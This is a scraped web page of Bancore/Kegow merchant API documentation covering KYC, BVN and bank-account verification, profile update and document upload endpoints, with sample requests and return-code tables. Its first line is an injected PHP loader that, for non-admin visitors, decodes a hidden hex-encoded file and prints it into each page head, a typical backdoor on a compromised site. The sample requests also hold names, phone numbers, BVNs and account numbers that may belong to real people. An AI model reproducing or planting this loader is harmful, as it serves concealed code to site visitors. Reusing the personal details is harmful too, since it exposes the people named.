if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } }
This operation is used to verify cardholder’s KYC Level 3 (KYC means ‘know your customer’). Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/verifykycbvn.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID |
Required |
bvn |
BVN- Bank Verification Number |
Required |
firstName |
First name registered with the BVN |
Required |
lastName |
Last name registered with the BVN |
Required |
phone |
Phone number registered with the BVN |
Required |
date |
Date of birth registered with the BVN (dd-MMM-yyyy eg. 01-JAN-2010) |
Optional |
accountNumber |
User bank account number |
Required |
bankCode |
User bank code (6 digits) |
Required |
encKey |
SHA-256(merchantID+bvn+privateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code |
required |
response |
success or fail |
required |
https://kegow.bancore.com/getit/api/merchant/verifykycbvn.do?merchantID=72&bvn=22222222249&firstName=CHARLES&lastName=MEGAFU&phone=2348094194738&date=27-FEB-1977&accountNumber=1000178065&bankCode=999082&encKey=f2567d99d3fc39dc5c85eca7d044f45db2b2ca18af26d3b79ecd62c8150680
result=30&response=success
This operation is used to get the KYC Level of the cardholder (KYC means ‘know your customer’). Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/kyc.do
Parameter |
Description |
Type |
---|---|---|
accountID |
Provided user id. Unique 19 digits code or mobile number in international format with country code |
Required |
merchantID |
Provided merchant id |
Required |
encKey |
Encryption key. SHA-256 (accountID + merchantID + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
Parameter |
Description |
Type |
result |
Success or fail result code |
Required |
KYC Level |
Account KYC Level. 0,1,2 – NON KYC levels For checkSUM: 0 – NON_KYC 1 – LIMITED_KYC 2 – BASIC_KYC 3 – FULL_KYC |
Required |
checkSUM |
Encryption key. SHA- 256(accountID + kyc + merchantPrivateKey) |
Optional |
https://kegow.bancore.com/getit/api/merchant/kyc.do?accountID=2348096544765&merchantID=341&encKey=d2b4ab4a1c4c78e36808132887e64957954ed82d26a6314cb1c94058f2197b
result=30&kyc=2&checkSUM=C90407B4A31B5DE9F9A8B6C64FB00C60DA28469BDD6F2B321BD03BC136B7D559
This method is used to verify bank account details. The bank account submitted on the request will be verified through NIBSS. Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/verifybank.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID of the client |
required |
bankAccountNumber |
User bank account number |
required |
bankCode |
User bank code (6 digits) |
required |
encKey |
SHA-256(bankCode+ merchantID+ bankAccountNumber+ merchantSecurityKey) |
required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code in case of successful transaction will be APPROVED = “30” |
result |
errorMessage |
Description of error returned |
errorText |
errorCode |
Nibss name enquiry response code |
errorCode |
accountIdentificationName |
Parameter containing nibss name enquiry response is returned in case of success. In case of nibss invocation failure nibss error response code returns in errorCode |
text |
https://kegow.bancore.com/getit/api/merchant/verifybank.do?merchantID=75&bankAccountNumber=0418563022&bankCode=214&encKey=829E38D21CEB5474BDD9A62C5FEAE15F79027014835843B79AAF3C12E291064E
result=30&errorCode=01&accountIdentificationName=Anyaccountname&errorMessage=null
This method is used to verify BVN Number. BVN Number submitted on the request will be verified through NIBSS. Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/verifybvn.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID |
Required |
bvn |
BVN- Bank Verification Number |
Required |
merchantIP |
IP address used to call the system |
Required |
firstName |
First name registered with the BVN |
Required |
lastName |
Last name registered with the BVN |
Required |
phone |
Phone number registered with the BVN |
Optional |
date |
Date of birth registered with the BVN (dd-MMM-yyyy eg. 01-JAN-2010) |
Optional |
encKey |
SHA-256(merchantID+bvn+privateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code |
required |
response |
Result of verification by NIBSS |
required |
https://kegow.bancore.com/getit/api/merchant/verifybvn.do?merchantID=72&bvn=22222222249&merchantIP=192.45.5.27&firstName=Charles&lastName=Megafu&phone=2348167351806&date=27-FEB-1977&encKey=f2567d99d3fc39dc5c85eca7d044f45db2b2ca18af26d3b79ecd62c8150680f
result=30&response=00&validity=VALID
This method is used to verify Multiple BVN Numbers. Multiple BVN Numbers submitted on the request will be verified through NIBSS. Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/verifymultiplebvn.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account ID |
Required |
data |
request XML in same format as in NIBSS doc |
Required |
merchantIP |
IP address used to call the system |
Required |
encKey |
SHA-256(merchant_id + data + privatekey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Response code |
required |
response |
Result of verification by NIBSS |
required |
https://kegow.bancore.com/getit/api/mobile/checkCustomer.do
Parameter |
Description |
Type |
---|---|---|
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
access_token |
Unique token generated |
Required |
phone |
Recipient’s phone number |
Required |
encKey |
Encryption key SHA-256(merchant_id+phone+merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
firstName |
First name of the user |
Required |
lastName |
Last name of the user |
Required |
https://kegow.bancore.com/getit/api/mobile/profile/get.do
Parameter |
Description |
Type |
---|---|---|
access_token |
Unique token generated |
Required |
merchant_id |
Merchant account id. Provided by Bancore. |
Required |
encKey |
Encryption key. SHA-256(merchant_id+ access_token+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
address |
Customer’s address |
Required |
country |
Customer’s country |
Required |
|
Customer’s email address |
Required |
firstName |
Customer’s first name |
Required |
lastName |
Customer’s last name |
Required |
zip |
Zip code |
Required |
city |
Customer’s city |
Required |
dateOfBirth |
Customer’s date of birth |
Required |
subscribed |
Customer’s subscription |
Optional |
address2 |
Customer’s address 2 |
Optional |
fullAddress |
Customer’s full address |
Optional |
cityDistrict |
Customer’s city district |
Optional |
stateCountyRegion |
Customer’s region code |
Optional |
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
30 |
SUCCESS |
Successful operation |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
415 |
WRONG_TOKEN |
Token value is wrong |
This operation is used to update Personal Information of the cardholder. Use the Method URL below.
https://kegow.bancore.com/getit/api/merchant/profile/update.do
Parameter |
Description |
Type |
---|---|---|
merchantID |
Merchant account id. Provided by Bancore. |
Required |
phone |
Mobile number in international format |
Required |
address |
Customer’s address |
Required |
country |
Customer’s country |
Required |
|
Customer’s email address |
Required |
firstName |
Customer’s first name |
Required |
lastName |
Customer’s last name |
Required |
zip |
Zip code |
Required |
city |
Customer’s city |
Required |
dateOfBirth |
Customer’s date of birth |
Required |
subscribed |
Customer’s subscription |
Optional |
address2 |
Customer’s address 2 |
Optional |
fullAddress |
Customer’s full address |
Optional |
cityDistrict |
Customer’s city district |
Optional |
stateCountyRegion |
Customer’s region code |
Optional |
encKey |
SHA-256(merchantID +phone+ email+ dateOfBirth+ merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
result |
Success or failure result code |
Required |
request:
https://kegow.bancore.com/getit/api/merchant/profile/update.do?merchantID=50&phone=2348096989068&address=Maple+street+29-2&country=NG&email=test@test.com&firstName=Ayn&lastName=Vorky&zip=100001&city=Lagos&dateOfBirth=2000-08-08&subscribed=true&address2=Maple+street+27-2&fullAddress=Maple+street+23+Lagos+100001&cityDistrict=test&stateCountyRegion=LA&encKey=d1eb48c64a55ccd08a86b53752660ee69b8593ba5a59c30d53d01ee2f90950
response:
result=30
This operation is used to Upload KYC Documentation for Verification (POI, POA). Use the Method URL below.
https://kegow.kegow.com/getit/api/merchant/kyc/upload.do
Parameter |
Description |
Type |
---|---|---|
phone |
Mobile number in international format |
Required |
merchantID |
Provided merchant account id |
Required |
proofIdentityBase64 |
Document file encoded Base64. Proof of identity. Supported file type .jpeg, .png Size limit 350 kb |
Required |
proofAddressBase64 |
Document file encoded Base64. Proof of address. Supported file type .jpeg, .png Size limit 350 kb |
Required |
encKey |
Encryption key. SHA-256(merchantID + phone + merchantPrivateKey) |
Required |
Parameter |
Description |
Type |
---|---|---|
Parameter |
Description |
Type |
result |
Success or fail result code |
Required |
https://kegow.bancore.com/getit/api/merchant/kyc/upload.do
POST data:
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa
Content-Disposition: form-data; name=”merchantID”
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
341
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa
Content-Disposition: form-data; name=”phone”
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
2348096989068
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa
Content-Disposition: form-data; name=”proofIdentityBase64″
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
/9j/4AAQSkZJRgABAQEAYABgAAD/4RCoRXhpZgAATU0AKgAAAAgABAE7AA
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa
Content-Disposition: form-data; name=”proofAddressBase64″
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
/9j/4AAQSkZJRgABAQEAYABgAgABAE7AAIAAAASAAAISodpAAQAAAABAAAIXJydAAEAAAAkAAAQfOocAAcAAA
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa
Content-Disposition: form-data; name=”encKey”
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
838b3a25736f7f8ee35efb562a35f4a34f299aefff3b4882f4ae940725aea50
–b9exOyfiapXwn_naf3Zbbo-Z_88TaZ_YCa–
result=30
Possible Return Codes are digit numerical values sent as a part of the response from the server. Status codes give an idea of whether the request to the server has been successful or not.
Find in the table below the return codes and their respective descriptions:
Code |
Value |
Description |
---|---|---|
0 |
MISSING_PARAMETER |
Required parameter(s) was not found or wrong name |
10 |
REJECT_ENCKEY_MISMATCH |
Encryption key is invalid |
20 |
INSUFFICIENT_FUNDS |
Not enough funds for requested operation |
30 |
SUCCCESS |
Successful Payment |
40 |
SUCCCESS. IN PROGRESS |
Successful operation. Transaction in progress. |
60 |
INVALID_CARD |
Invalid card number.Accountdoesn’t exist |
61 |
CARD_BLOCKED |
Blocked card |
90 |
INVALID_ORDER_ID |
OrderID must be unique |
95 |
INVALID_MERCHANT_ACCOUNT |
Invalid merchant, merchant don’t exist |
96 |
INVALID_AMOUNT |
Invalid amount for the operation |
97 |
AMOUNT_TOO_BIG |
Amount is too big to be accepted by the destination phone number |
98 |
TRANSFER_LIMIT |
Transfer limit is reached |
100 |
GENERAL_ERROR |
Unknown error. Please try again later |
102 |
BLOCKED_MOBILE_NUMBER |
Mobile number is blocked |
103 |
PIN_ERROR |
PIN code is wrong |
111 |
RECORD_NOT_FOUND |
The requested record is not found |
113 |
CARDID_TOKEN_WRONG |
Card id differs from account represented by token |
116 |
KYC_PAYMENT_LIMIT |
Payment limit is exceeded for KYC level |
200 |
USER_IP_TRIES_EXCEEDED |
Customer has exceeded failed attempts and has been blocked |
202 |
UNEXPECTED_MERCHANT_IP |
Merchant IP is unknown |
203 |
INACTIVE_MERCHANT_ACCOUNT |
The merchant account is not active |
300 |
FEE_NOT_FOUND |
Fee value not available |
400 |
APPLICATION_UPDATE |
The application is not available |
412 |
AMOUNT_ERROR |
Amount is wrong |
415 |
WRONG_TOKEN |
Token value is wrong |
420 |
WRONG_BANK_ACCOUNT |
The submitted bank account information is incorrect |
<span style=”letter-spacing: 1px; font-weight: 600; font-size: 15px;”>GET THE BROCHURE</span> <span style=”color: #a3a9f6;”>Download the pdf file of latest update for this service.</span>
Please feel free to <a href=”/contact-2″>contact us</a>. We will get back to you with 1-2 business days. Or just call us now
<span style=”font-size: 17px;”> <a href=”callto:+4570223969″>+45-7022-3969</a></span>
<span style=”font-size: 17px;”> <a href=”mailto:info@bancore.com”>info@bancore.com</a></span>
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.